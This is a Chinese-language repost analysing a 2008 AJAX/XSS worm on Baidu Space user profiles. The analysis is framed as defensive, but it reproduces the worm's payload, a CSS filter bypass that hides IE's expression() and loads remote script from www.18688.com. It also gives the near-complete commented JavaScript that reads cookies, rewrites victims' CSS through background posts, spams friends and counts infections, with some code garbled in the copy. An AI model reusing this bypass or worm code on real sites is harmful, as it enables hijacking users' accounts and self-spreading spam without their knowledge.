蠕虫分析ex/*exp/**/ression*/pression病毒防范 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    声明在前:

    此蠕虫源码迟早会曝光,也没隐藏的必要,得到消息称 工程师正在修补中,我写完这篇文章是对其感染技术进行分析,估计等我写完文章时这样的利用方式就会失效(希望他们的效率高些),

蠕虫分析ex/*exp/**/ression*/pression病毒防范

    --------------------------------------------------------------------------------------------------------

    今天看到52abc的说 蠕虫诞生。刚开始我一直不相信ex/* */pression()这样的变形expression还有效,可是分析蠕虫源码时发现原来是这样的ex/*exp/**/ression*/pression。被感染的用户空间的CSS末被嵌入一段恶意代码,如下:

    a{evilmask:ex/* */pression(execScript(unescape(d%3D%22doc%22%2B%22ument%22%3B%0D%0Ai%3D%22function%20load%28%29%7Bvar%20x%3D%22%2Bd%2B%22.createElement%28%27SCRIPT%27%29%3Bx.src%3D%27http%3A//www.18688.com/cache/1.js%27%3Bx.defer%3Dtrue%3B%22%2Bd%2B%22.getElementsByTagName%28%27HEAD%27%29%5B0%5D.appendChild%28x%29%7D%3Bfunction%20inject%28%29%7Bwindow.setTimeout%28%27load%28%29%27%2C1000%29%7D%3Bif%28window.x%21%3D1%29%7Bwindow.x%3D1%3Binject%28%29%7D%3B%22%0D%0AexecScript%28i%29)))}

    利用变形的expression在CSS代码中动态执行脚本,由于/* */这个符号是CSS的注释符,所以浏览器在解释这个CSS片段时会自动忽略,所以变形后的expression是有效的。接着利用execScript函数(只在 IE中有效,并且可以动态执行远程js文件)来执行unescape解密出的代码。unescape解密出的代码如下:

    d="doc"+"ument";

    i="function load(){var x="+d+".createElement(SCRIPT);x.src="+d+".getElementsByTagName(HEAD)[0].appendChild(x)};function inject(){window.setTimeout(load(),1000)};if(window.x!=1){window.x=1;inject()};"

    execScript(i)

    此片段代码会在文档标签内动态创建标签,用来加载远程js文件:。其中inject()函数是为了防止expression对其内部代码的多次执行,不过似乎不完美。IE浏览器卡死的原因是后台在偷偷地大量发送蠕虫伪造的信息,格式为: evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r \n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;。

    接着分析文件发现产生的原因:expression变形为ex/*exp/**/ression*/pression。 的过滤机制将变形后的ex/*exp/**/ression*/pression中的exp/**/ression过滤为空格,于是还剩下exp/* */ression!道高一尺,魔高一丈。完整js代码如下,看注释分析:

    window.onerror = killErrors;

    //下面这段乱码定义了VBScript函数URLEncoding,以正确编码数值。我曾经在这篇文章中提到过bytes2BSTR函数,它们功能相似

    ///////////////////////////////////////////////////

    //解密出的效果如下:

    //Function URLEncoding(vstrIn)

    // strReturn = ""

    // For aaaa = 1 To Len(vstrIn)

    // ThisChr = Mid(vStrIn,aaaa,1)

    // If Abs(Asc(ThisChr))

    execScript(unescape(Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function),VBScript);

    cookie=;

    cookieval=document.cookie;

    spaceid=spaceurl;

    myhibaidu=";

    //初始化XMLHttpRequest对象,AJAX要在这使用

    xmlhttp=poster();

    debug=0;

    //统计在线人数的函数,下面有定义

    online();

    if(spaceurl!=){

    if(spaceid!=/) {

    if(debug==1) {

    goteditcss();

    document.cookie=xssshell/owned/you!;

    }

    //如果用户本地cookie中不含xssshell标志,则执行goteditcss函数,下面有定义

    if(cookieval.indexOf(xssshell)==-1) {

    goteditcss();

    document.cookie=xssshell/owned/you!;

    }

    }

    }

    //此为 蠕虫的核心功能函数

    function makeevilcss(spaceid,editurl,use){

    //此playload即为蠕虫广泛传播的CSS代码片段,其中expression变形为ex/*exp/**/ression*/pression

    playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape(d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529)))}";

    //下面是在模拟用户创建CSS模板的表单结构以及数据添加、提交过程

    action=myhibaidu+"/commit";

    spCssUse=use;

    //AJAX在后面偷偷地异步获取远程数据

    s=getmydata(editurl);

    re = /\

    re = /\

    re = /\

    spRefUrl=editurl;

    re = /\([^\x00]*?)\/i;

    spCssText = s.match(re);

    spCssText=spCssText[2];

    spCssText=URLEncoding(spCssText);

    //如果已经存在此邪恶的CSS片段,蠕虫则不再次感染

    if(spCssText.indexOf(evilmask)!==-1) {

    return 1;

    }

    //否则……

    else spCssText=spCssText+"\r\n\r\n"+playload;

    re = /\/i;

    spCssName = s.match(re);

    spCssName=spCssName[2];

    re = /\/i;

    spCssTag = s.match(re);

    spCssTag=spCssTag[2];

    postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);

    //AJAX在后台再次偷偷地将编辑好的CSS数据保存到 服务器上

    result=postmydata(action,postdata);

    //调用好友发送信息函数

    sendfriendmsg();

    //统计感染用户总数

    count();

    //成功

    hack();

    }

    //此函数初始化数据,调用核心功能函数makeevilcss

    function goteditcss() {

    src="";

    s=getmydata(src);

    re = /\/i;

    r = s.match(re);

    nowuse=r[2];

    makeevilcss(spaceid,");

    return 0;

    }

    //创建XMLHttpRequest对象

    function poster(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    if(request.overrideMimeType) {

    request.overrideMimeType(text/xml);

    }

    } else if(window.ActiveXObject) {

    var versions = [Microsoft.XMLHTTP, MSXML.XMLHTTP, Microsoft.XMLHTTP, Msxml2.XMLHTTP.7.0, Msxml2.XMLHTTP.6.0, Msxml2.XMLHTTP.5.0, Msxml2.XMLHTTP.4.0, MSXML2.XMLHTTP.3.0, MSXML2.XMLHTTP];

    for(var i=0; i

    //XMLHttpRequest对象使用POST方式异步发送数据

    function postmydata(action,data){

    xmlhttp.open("POST", action, false);

    xmlhttp.setRequestHeader(Content-Type, application/x-www-form-urlencoded);

    xmlhttp.send(data);

    return xmlhttp.responseText;

    }

    //XMLHttpRequest对象使用GET方式异步发送数据

    function getmydata(action){

    xmlhttp.open("GET", action, false);

    xmlhttp.send();

    return xmlhttp.responseText;

    }

    function killErrors() {

    return true;

    }

    //统计感染用户总数

    function count() {

    a=new Image();

    a.src=

    return 0;

    }

    //统计感染用户在线总数

    function online() {

    nline=new Image();

    online.src= ;

    return 0;

    }

    function hack() {

    return 0;

    }

    //好友发送信息函数,当你收到这样的消息那就要注意了

    function sendfriendmsg(){

    myfurl=myhibaidu+"/friends";

    s=getmydata(myfurl);

    evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;

    var D=function(A,B){A[A.length]=B;};

    re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g;

    friends = s.match(re);

    eval(friends[0]);

    for(i in k) {

    eval(msgimg+i+=new Image(););

    eval(msgimg+i+.src=");

    }

    }

    简单分析完了,

电脑资料

蠕虫分析ex/*exp/**/ression*/pression病毒防范》(https://www.unjs.com)。这又是一只AJAX蠕虫。WEB2.0的各类安全威胁中AJAX首当其冲!由于AJAX会在后台无声无息地传递数据,很难被发现,这就为AJAX蠕虫隐身传播带来了绝佳的便利!我刚刚也构造了利用代码,只是一个简单的alert框,没危害。我将利用转移到我这个测试博客上了:。进去后,会弹出对话框。没事。

最新文章